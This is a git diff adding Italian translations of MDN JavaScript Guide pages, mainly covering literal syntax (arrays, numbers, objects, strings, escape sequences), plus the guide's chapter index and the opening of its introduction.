+<p>In istruzioni che coinvolgono altri operatori JavaScript non converte valori numerici in stringa. Per esempio:</p>
+
+<pre class="brush: js">"37" - 7 // 30
+"37" + 7 // "377"
+</pre>
+
+<h3 id="Conversione_delle_stringhe_in_numeri">Conversione delle stringhe in numeri</h3>
+
+<p>Nel caso in cui il valore che rappresenta un numero è memorizzato come stringa ci sono dei metodi per eseguire la conversione:</p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code> ritornerà soltanto numeri interi,  ha una utilità ridotta per i numeri decimali. In aggiunta è buona pratica nell'uso di <code>parseInt</code> includere il parametro base, questo parametro è usato per specificare quale sistema di numerazione deve essere usato.</p>
+
+<p>Un metodo alternativo per recuperare un numero da un testo è di usare l'operatore + (più unario):</p>
+
+<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
+(+"1.1") + (+"1.1") = 2.2
+// Note: le parentesi sono aggiunte per chiarezza, non sono richieste.</pre>
+
+<h2 id="Letterali">Letterali</h2>
+
+<p>I letterali sono usati per rappresentare i valori in JavaScript. Questi sono valori fissati, non variabili, che venvono <em>letteralmente</em> inseriti nello script. Questa sezione descrive i seguenti tipi di letterali:</p>
+
+<ul>
+ <li>{{anch("Letterali di array")}}</li>
+ <li>{{anch("Letterali di booleani")}}</li>
+ <li>{{anch("Letterali di numeri in virgola-mobile")}}</li>
+ <li>{{anch("Letterali di numeri Interi")}}</li>
+ <li>{{anch("Letterali di oggeti")}}</li>
+ <li>{{anch("Letterali di RegExp")}}</li>
+ <li>{{anch("Letterali di stringhe")}}</li>
+</ul>
+
+<h3 id="Letterali_di_array">Letterali di array</h3>
+
+<p>Un letterale di array è un elenco di zero o più espressioni ognuna delle quali rappresenta un elemento dell'array, inclusa in parentesi quadre (<code>[]</code>). Quando si crea un array usando un letterale l'array stesso viene inizializzato con i valori specificati come elementi, la sua lunghezza è impostata al numero di elementi specificati.</p>
+
+<p>Il seguente esempio crea un array <code>tipiDiCaffe</code> con tre elementi e una lunghezza di tre:</p>
+
+<pre class="brush: js">var tipiDiCaffe = ["French Roast", "Colombian", "Kona"];
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Un letterale di array è un tipo di inizializzatore di oggetto. Vedi <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers" title="en-US/docs/JavaScript/Guide/Working with Objects#Using Object Initializers">Usando inizializzatori di Oggett</a>i.</p>
+</div>
+
+<p>Se un array viene creato usando un letterale in uno script top-level, JavaScript interpreta l'array ogni volta che valuta l'espressione che contiene l'array letterale. In aggiunta l'array letterale usato in una funzione viene creato ogni volta che la funzione viene chiamata.</p>
+
+<p>Gli array letterali sono anche oggetti <code>Array</code>. Si veda {{jsxref("Array")}} e <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Collezione indicizzata</a> per i dettagli sugli oggetti <code>Array</code>.</p>
+
+<h4 id="Virgole_aggiuntive_negli_array_letterali">Virgole aggiuntive negli array letterali</h4>
+
+<p>Non è obbligatorio specificare tutti gli elementi in un array letterale. Mettendo due virgole in fila l'array viene creato con il valore <code>undefined</code> per gli elementi non specificati. Il seguente esempio crea l'array <code>pesce</code>:</p>
+
+<pre class="brush: js">var pesce = ["Leone", , "Angelo"];
+</pre>
+
+<p>Questo array ha due elementi con un valore e un elemento vuoto (<code>pesce[0]</code> is "Leone", <code>pesce[1]</code> è <code>undefined</code>, e <code>pesce[2]</code> è "Angelo").</p>
+
+<p>Inserendo una virgola in fondo alla lista degli elementi la virgola stessa verrà ignorata. Nel seguente esempio la lunghezza dell'array è tre, non c'è un <code>miaLista[3]</code>. Tutte le altre virgole nell'elenco indicano un elemento nuovo.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Le virgole in coda possono creare errori nelle versioni più vecchie dei browser ed è buona pratica rimuoverle.</p>
+</div>
+
+<pre class="brush: js">var miaLista = ['casa', , 'scuola', ];
+</pre>
+
+<p>Nel seguente esempio la lunghezza dell'array è quattro e <code>miaLista[0]</code> e <code>mialista[2]</code> sono mancanti.</p>
+
+<pre class="brush: js">var miaLista = [ , 'casa', , 'scuola'];
+</pre>
+
+<p>Nel seguente esempio la lunghezza dell'array è quattro e <code>mialista[1]</code> e <code>miaLista[3]</code> sono mancanti. Soltanto l'ultima virgola viene ignorata.</p>
+
+<pre class="brush: js">var miaLista = ['casa', , 'scuola', , ];
+</pre>
+
+<p>Comprendere il comportamento delle virgole in più è importante per comprendere JavaScript come linguaggio, in ogni caso nella scrittura del codice: è buona norma dichiarare esplicitamente gli elementi mancanti come <code>undefined</code>, questo migliorerà la chiarezza e la manutenibilità del codice.</p>
+
+<h3 id="Letterali_di_booleani">Letterali di booleani</h3>
+
+<p>Il tipo Boolean ha due valori letterali: <code>true</code> e <code>false</code>.</p>
+
+<p>Non vanno confusi i valori primitivi Booleani <code>true</code> e <code>false</code> con i valori true e false dell'oggetto Boolean. L'oggetto Boolean è un involucro intorno al tipo primitivo Booleano. Vedi {{jsxref("Global_Objects/Boolean", "Boolean")}} per maggiori informazioni.</p>
+
+<h3 id="Letterali_di_numeri_Interi">Letterali di numeri Interi</h3>
+
+<p>Gli interi possono essere rappresentati in decimale (base 10), esadecimale (base 16), ottale (base 8) e binario (base 2).</p>
+
+<ul>
+ <li>I letterali decimali interi sono formati da una sequenza di cifre senza uno 0 (zero) iniziale.</li>
+ <li>0 (zero) iniziali in un letterale intero, o un iniziale 0o (o 0O) indicano che il numero è in ottale. Gli interi ottali possono includere soltanto le cifre 0-7.</li>
+ <li>Un iniziale 0x (o 0X) indica l'esadecimale. Interi esadecimali possono includere le cifre (0-9) e le lettere a-f e A-F.</li>
+ <li>
+  <p>Un iniziale 0b (o 0B) indica il binario. Gli interi binari possono includere soltanto le cifre 0 e 1.</p>
+ </li>
+</ul>
+
+<p>Alcuni esempi i di letterali di interi sono:</p>
+
+<pre class="eval">0, 117 and -345 (decimale, base 10)
+015, 0001 and -0o77 (ottale, base 8)
+0x1123, 0x00111 and -0xF1A7 (esadecimale, "hex" o base 16)
+0b11, 0b0011 and -0b11 (binario, base 2)
+</pre>
+
+<p>Per maggiori informazioni, vedi <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Numeric literals in the Lexical grammar reference</a>.</p>
+
+<h3 id="Letterali_di_numeri_in_virgola-mobile">Letterali di numeri in virgola-mobile</h3>
+
+<p>Un letterale per un numero in virgola mobile può avere le seguenti parti:</p>
+
+<ul>
+ <li>Un intero in base dieci che può avere un segno (cioè può essere preceduto da "+" o "-"),</li>
+ <li>Un punto decimale ("."),</li>
+ <li>Una parte decimale (un altro numero in base dieci),</li>
+ <li>Un esponente.</li>
+</ul>
+
+<p>La parte esponente è una "e" o "E" seguita da un intero che può essere con segno (preceduto da "+" o "-"). Un numero in virgola mobile deve avere almeno una cifra e un punto oppure una "e" (o "E").</p>
+
+<p>Più concisamente la sintassi è:</p>
+
+<pre class="eval">[(+|-)][cifre][.cifre][(E|e)[(+|-)]cifre]
+</pre>
+
+<p>Per esempio:</p>
+
+<pre class="eval">3.1415926
+-.123456789
+-3.1E+12
+.1e-23
+</pre>
+
+<h3 id="Letterali_di_oggetti">Letterali di oggetti</h3>
+
+<p>Un letterale di un oggetto è una lista di zero o più coppie di nomi di proprietà e valori associati di un oggetto racchiusi in parentesi graffe (<code>{}</code>). Non andrebbe usato un letterale di un oggetto all'inizio di una istruzione, questo porterà ad un errore o non si comporterà come ci si aspetta perché <code>{</code> sarà interpretata come l'inizio di un blocco.</p>
+
+<p>Quello seguente è un esempio di un letterale di un oggetto. Il primo elemento dell'oggetto <code>automobile</code> definisce un proprietà, <code>miaAutomobile</code>, e gli assegna il testo "<code>Saturn</code>"; il secondo elemento, la proprietà <code>getAutomobile</code>, è immediatamente assegnata al valore risultante dall'invocazione della funzione <code>(tipiDiAutomobile("Honda"));</code> il terzo elemento, la proprietà <code>speciale</code>, usa una variabile esistente (<code>saldi</code>).</p>
+
+<pre class="brush: js">var saldi = "Toyota";
+
+function tipiDiAutomobile(nome) {
+  if (nome === "Honda") {
+    return nome;
+  } else {
+    return "Spiacente, noi non vendiamo " + nome + ".";
+  }
+}
+
+var automobile = { miaAutomobile: "Saturn", getAutomobile: tipiDiAutomobile("Honda"), speciale: saldi };
+
+console.log(automobile.miaAutomobile);   // Saturn
+console.log(automobile.getAutomobile);  // Honda
+console.log(automobile.speciale); // Toyota
+</pre>
+
+<p>In aggiunta si possono usare letterali di tipo numerico o testo come nome di una proprietà o annidare un oggetto dentro un altro. Il seguente esempio usa queste opzioni.</p>
+
+<pre class="brush: js">var automobile = { molteAutomobili: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+console.log(automobile.molteAutomobili.b); // Jeep
+console.log(automobile[7]); // Mazda
+</pre>
+
+<p>I nomi delle proprietà degli oggetti possono essere un testo qualsiasi, incluso il testo vuoto. Se il nome della proprietà non è un {{Glossary("Identifier","identifier")}} JavaScript valido o un numero dovrà essere racchiuso tra virgolette. I nomi di proprietà che non sono identificatori validi non possono neanche essere acceduti usando il punto (<code>.</code>), potranno però essere acceduti e impostati usando la notazione analoga a quella degli array ("<code>[]</code>").</p>
+
+<pre class="brush: js">var nomiDiProprietaInusuali = {
+  "": "Una stringa vuota",
+  "!": "Bang!"
+}
+console.log(nomiDiProprietaInusuali."");   // SyntaxError: Unexpected string
+console.log(nomiDiProprietaInusuali[""]);  // Una stringa vuota
+console.log(nomiDiProprietaInusuali.!);    // SyntaxError: Unexpected token !
+console.log(nomiDiProprietaInusuali["!"]); // Bang!</pre>
+
+<p>In ES2015, i letterali di oggetti sono estesi per supportare l'impostazione del prototipo al momento della costruzione, forme abbreviate per le assegnazioni tipo <code>foo: foo</code>, definizioni di metodi, eseguire chiamate a super e calcolare il nome di proprietà con espressioni. Nel'insieme queste aggiunte avvicinano i letterali di oggetti e le dichiarazioni delle classi permettendo quindi di beneficiare di alcune delle stesse comodità della progettazione orientata agli oggetti.</p>
+
+<pre class="brush: js">var obj = {
+    // __proto__
+    __proto__: theProtoObj,
+    // Abbreviazione per ‘handler: handler’
+    handler,
+    // Metodi
+    toString() {
+     // Super calls
+     return "d " + super.toString();
+    },
+    // Nomi di proprietà calcolati (dinamici)
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>Nota che:</p>
+
+<pre class="brush: js">var foo = {a: "alpha", 2: "two"};
+console.log(foo.a);    // alpha
+console.log(foo[2]);   // two
+//console.log(foo.2);  // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo["a"]); // alpha
+console.log(foo["2"]); // two
+</pre>
+
+<h3 id="Letterali_di_RegExp">Letterali di RegExp</h3>
+
+<p>Un letterale di espressione regolare (RegExp) è un modello (pattern) racchiuso tra barre. il seguente è un esempio di un letterale di una espressione regolare.</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="Letterali_di_stringhe">Letterali di stringhe</h3>
+
+<p>Un letterale di testo (stringa nel preguo del testo) è formato da zero o più caratteri racchiusi tra virgolette doppie  (<code>"</code>) o singole (<code>'</code>).  Una stringa deve essere delimitata da virgolette dello stesso tipo; cioè o entrambe singole o entrambe doppie. I seguenti sono esempi di leterali di testo:</p>
+
+<pre class="brush: js">"foo"
+'bar'
+"1234"
+"una linea \n altra linea"
+"prima dell'una"
+</pre>
+
+<p>È possibile chiamare qualsiasi metodo dell'oggetto String su una stringa —JavaScript converte automaticamente la stringa in un oggetto temporaneo di tipo String, chiama il metodo, poi elimina l'oggetto temporaneo. È anche possibile usare la proprietà <code>String.length</code> con una stringa letterale:</p>
+
+<pre class="brush: js">console.log("John's cat".length)
+// Stamperà il numero di simboli nel testo inclusi gli spazi.
+// In questo caso 10.
+</pre>
+
+<p>In ES2015 sono disponibili i letterali modello. I letterali modello sono racchiusi tra accenti gravi (` `)  (<a href="http://en.wikipedia.org/wiki/Grave_accent" rel="noopener">accento grave</a>) anziché apici doppi o singoli. Le stringhe modello fornisco dello "zucchero sintattico" per la costruzione delle stringhe. È simile all'interpolazione delle stringhe di Perl, Python e altri. Opzionalmente, un'etichetta può essere aggiunta per permettere la personalizzazione nella costruzione della stringa, evitare gli attacchi per injection o costruire strutture dati di livello più alto dal contenuto di una stringa.</p>
+
+<pre class="brush: js">// Creazione di un letterale string di base
+`In JavaScript '\n' is a line-feed.`
+
+// Stringa multilinea
+`In JavaScript this is
+ not legal.`
+
+// Interpolazione di stringhe
+var name = "Bob", time = "today";
+`Hello ${name}, how are you ${time}?`
+
+// La costruzione di un prefisso di richiesta HTTP è usata per interpretare le sostituzioni e le costruzioni
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "foo": ${foo},
+       "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
+
+<p>Si dovrebbero usare i letterali stringa a meno che non ci sia specifico bisogno di usare un oggetto String. Si veda {{jsxref("String")}} per dettagli sull'oggetto <code>String</code>.</p>
+
+<h4 id="Uso_di_caratteri_speciali_nelle_stringhe">Uso di caratteri speciali nelle stringhe</h4>
+
+<p>Oltre ai caratteri ordinari si possono includere anche dei caratteri speciali nelle stringhe come mostrato nel seguente esempio.</p>
+
+<pre class="brush: js">"prima linea \n seconda linea"
+</pre>
+
+<p>La seguente tabella elenca i caratteri speciali che possono essere usati nelle stringhe JavaScript.</p>
+
+<table class="standard-table">
+ <caption>Table: JavaScript caratteri speciali</caption>
+ <thead>
+  <tr>
+   <th scope="col">Carattere</th>
+   <th scope="col">Significato</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Byte null</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Backspace</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Form feed</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>New line</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Carriage return</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Tab</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Tab verticale</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Apostrofo o virgoletta singola</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Virgoletta doppia</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Il carattere backslash</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>Il carattere con la codifica Latin-1 specificata da fino a tre caratteri <em>XXX</em> tra 0 e 377. Per esempio \251 è la sequenza ottale per il simbolo di copyright.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>Il carattere con la codifica Latin-1 specificata da due cifre esadecimali <em>XX</em> comprese tra 00 e FF. Per esempio \xA9 è la sequenza ottale per il simbolo di copyright.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>Il carattere Unicode specificato da quattro cifre esadecimali <em>XXXX</em>. Per esempio \u00A9 è la sequenza Unicode per il simbolo di copyright. Vedi <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>.</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{XXXXX}</em></code></td>
+   <td>Escape per Unicode code point. Per esempio \u{2F804} è la stessa cosa dell'esape semplice Unicode \uD87E\uDC04.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Caratteri_a_cui_aggiungere_il_backslash_(Escaping)">Caratteri a cui aggiungere il backslash (Escaping)</h4>
+
+<p>Per i caratteri non elencati nella tabella un backslash (\) prefisso viene ignorato, questo uso è deprecato e devrebbe essere evitato.</p>
+
+<p>Le virgolette possono essere inserite in una stringa precedendole da un backslash. Questo è noto come <em>escaping</em> delle virgolette. Per esempio:</p>
+
+<pre class="brush: js">var quote = "Lui legge \"The Cremation of Sam McGee\" by R.W. Service.";
+console.log(quote);
+</pre>
+
+<p>Il risultato sarebbe:</p>
+
+<pre class="eval">Lui legge "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+
+<p>Per includere un backslash in una stringa va fatto l'esape del carattere backslash. Per esempio, per assegnare il percorso <code>c:\temp</code> ad una stringa, usare il seguente:</p>
+
+<pre class="brush: js">var home = "c:\\temp";
+</pre>
+
+<p>Si può anche fare l'escape delle interruzioni di linea precedendole con un backslash. Sia il backslash che l'interruzione di linea saranno rimosse dal valore della stringa.</p>
+
+<pre class="brush: js">var str = "questa stringa \
+è spezzata \
+attraverso multiple\
+linee."
+console.log(str);   // questa stringa è spezzata attraverso multiple linee.
+</pre>
+
+<p>Sebbene JavaScript non abbia una sintassi tipo "heredoc", è possibile fare qualcosa di simile aggiungendo una sequenza di escape per "a capo" e facendo l'escape dell'a capo alla fine della linea:</p>
+
+<pre class="brush: js">var poem =
+"Roses are red,\n\
+Violets are blue.\n\
+I'm schizophrenic,\n\
+And so am I."
+</pre>
+
+<h2 id="Ulteriori_informazioni">Ulteriori informazioni</h2>
+
+<p>Questo capitolo si concentra sulla sintassi di base per i tipi e le dichiarazioni. Per imparare di più riguardo i costrutti del linguaggio JavaScript vedi anche i seguenti capitoli in questa guida:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Controllo del flusso e gestione errori</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Cicli e iterazioni</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Funzioni</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Espresioni e operatori</a></li>
+</ul>
+
+<p>Nel prossimo capitolo, tratteremo i costrutti del controllo del flusso e la gestione degli errori.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/it/web/javascript/guida/index.html b/files/it/web/javascript/guida/index.html
new file mode 100644
index 0000000000..ba956f21f2
--- /dev/null
+++ b/files/it/web/javascript/guida/index.html
@@ -0,0 +1,124 @@
+---
+title: JavaScript Guide
+slug: Web/JavaScript/Guida
+tags:
+  - AJAX
+  - JavaScript
+  - JavaScript_Guide
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">La Guida JavaScript mostra come utilizzare <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript">JavaScript</a> e offre una panoramica del linguaggio. Se hai bisogno di informazioni esaustive su una sua funzione, dai un'occhiata alle <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">reference JavaScript</a>.</p>
+
+<h2 id="Capitoli">Capitoli</h2>
+
+<p>Questa guida è divisa in vari capitoli:</p>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Introduction">Introduzione</a></span>
+
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">A proposito di questa guida</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript">A proposito di JavaScript</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript e Java</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Strumenti</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types">Grammatica &amp; Tipi</a></span>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">Sintassi base e commenti</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Dichiarazioni</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">Scope delle variabili</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">Hoisting delle variabili</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">Strutture Dati e Tipi</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">Letterali</a></p>
+ </li>
+ <li><span><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Controllo di flusso &amp; gestione degli errori</a></span>
+  <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
+   <code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Oggetto Error</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Cicli &amp; Iterazioni</a></span>
+  <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Funzioni</a></span>
+
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Defining_functions">Definire le funzioni</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions">Chiamare le funzioni </a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope">Scope delle funzioni</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Closures">Closure</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Argomenti</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_parameters">Parametri</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Funzioni freccia</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Espressioni &amp; operatori</a></span>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Assegnamento</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Comparazione</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Operatori aritmetici</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Operatori di bitwise</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">logici</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Operatore (ternario) condizionale</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Numeri &amp; Date</a></span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> Numeri come letterali</a>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object">Oggetto <code>Number</code></a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object">Oggetto <code>Math</code></a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object">Oggetto <code>Date</code></a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting">Formattazione di testi</a></span>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_literals">Stringhe come letterali</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_objects">Oggetto <code>String</code></a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">Template stringhe come letterali</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Internazionalizzazione</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Espressioni Regolari</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Collezioni Indicizzate</a></span>
+
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Vettori</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Vettori tipizzati</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections">Collezioni Chiave-Valore</a></span>
+  <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
+   <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+   <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
+   <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects">Lavorare con gli Oggetti</a></span>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Oggetti e proprietà</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Creare Oggetti</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Definire i metodi</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Getter e setter</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Dettagli sul modello a Oggetti</a></span>
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">OOP basata su prototopi</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Creare una gerarchia di Oggeti</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Ereditarietà</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iteratori &amp; Generatori</a></span>
+
+  <p><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iteratori</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterabili</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generatori</a></p>
+ </li>
+ <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming">Meta-programmazione</a></span>
+  <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy</a></code><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Gestori e Trappole</a><br>
+   <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Proxy revocabile</a><br>
+   <code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/it/web/javascript/guida/introduzione/index.html b/files/it/web/javascript/guida/introduzione/index.html
new file mode 100644
index 0000000000..3825ded91c
--- /dev/null
+++ b/files/it/web/javascript/guida/introduzione/index.html
@@ -0,0 +1,140 @@
+---
+title: Introduzione
+slug: Web/JavaScript/Guida/Introduzione
+tags:
+  - Guida
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
+
+<p class="summary">Questo capitolo introduce JavaScript e discute alcuni dei suoi concetti fondamentali.</p>
+
+<h2 id="Che_cosa_dovresti_già_sapere">Che cosa dovresti già sapere</h2>
+
+<p>Questa guida parte dal presupposto che tu abbia già queste nozioni di base:</p>
+
+<ul>
+ <li>Una comprensione generica di Internet e del World Wide Web ({{Glossary("WWW")}}).</li>
+ <li>Una buona conoscenza operativa del HyperText Markup Language ({{Glossary("HTML")}}).</li>
